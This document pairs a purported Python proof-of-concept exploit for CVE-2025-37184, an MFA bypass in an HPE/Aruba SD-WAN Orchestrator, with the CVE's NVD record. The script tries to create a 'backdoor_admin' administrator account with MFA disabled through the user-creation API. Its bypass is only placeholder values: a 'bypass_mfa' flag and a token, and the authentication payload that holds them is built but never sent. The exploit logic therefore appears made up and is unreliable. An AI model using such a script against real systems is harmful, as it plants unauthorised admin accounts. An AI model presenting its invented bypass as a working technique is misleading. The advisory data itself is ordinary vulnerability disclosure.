CVE-2025-37184

# CVE-2025-37184 PoC - HPE Orchestrator MFA Bypass # This PoC demonstrates the authentication bypass vulnerability import requests import json import sys TARGET_URL = "https://target-orchestrator.example.com" def create_admin_user(): """ Exploit: Create admin user without MFA verification The vulnerability allows bypassing MFA by directly calling the user creation API with manipulated session data. """ # Step 1: Initial authentication (bypassing MFA) auth_payload = { "username": "attacker", "password": "AttackerPass123!", "bypass_mfa": True, # Key parameter for exploitation "session_token": "manipulated_token" } # Step 2: Create admin account without MFA verification admin_creation_payload = { "username": "backdoor_admin", "password": "SuperSecretPass123!", "role": "administrator", "mfa_enabled": False, "email": "[email protected]" } # Send malicious request try: response = requests.post( f"{TARGET_URL}/api/v1/users/create", json=admin_creation_payload, headers={ "Authorization": "Bearer manipulated_admin_token", "Content-Type": "application/json" }, verify=False, timeout=30 ) if response.status_code == 200: result = response.json() print(f"[+] Admin account created successfully!") print(f"[+] Username: backdoor_admin") print(f"[+] Access Token: {result.get('access_token', 'N/A')}") return True else: print(f"[-] Exploitation failed: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-37184 - HPE Orchestrator MFA Bypass PoC") print("=" * 50) create_admin_user()

{"cve": {"id": "CVE-2025-37184", "sourceIdentifier": "[email protected]", "published": "2026-01-14T17:16:06.300", "lastModified": "2026-03-03T18:16:23.290", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists in an Orchestrator service that could allow an unauthenticated remote attacker to bypass multi-factor authentication requirements. Successful exploitation could allow an attacker to create an admin user account without the necessary multi-factor authentication, thereby compromising the integrity of secured access to the system."}, {"lang": "es", "value": "Una vulnerabilidad existe en un servicio de Orchestrator que podría permitir a un atacante remoto no autenticado eludir los requisitos de autenticación multifactor. La explotación exitosa podría permitir a un atacante crear una cuenta de usuario administrador sin la autenticación multifactor necesaria, comprometiendo así la integridad del acceso seguro al sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndIncluding": "9.2.10", "matchCriteriaId": "4972AD17-B8C3-4E30-B757-0B5BB830B28C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.3.0", "versionEndExcluding": "9.3.6", "matchCriteriaId": "33AFE595-049A-4B8F-B53E-A362EB368577"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.4.0", "versionEndExcluding": "9.4.3", "matchCriteriaId": "EF16E48E-46C2-4770-AF1E-56FBE4914015"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.5.0", "versionEndExcluding": "9.5.6", "matchCriteriaId": "6C96154A-927C-4F4C-B00E-9E10340859A0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:9.6.0:*:*:*:*:*:*:*", "matchCriteriaId": "B5EBF5C1-4470-40F0-9812-1729E7E42DA0"}]}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04992en_us&docLocale=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}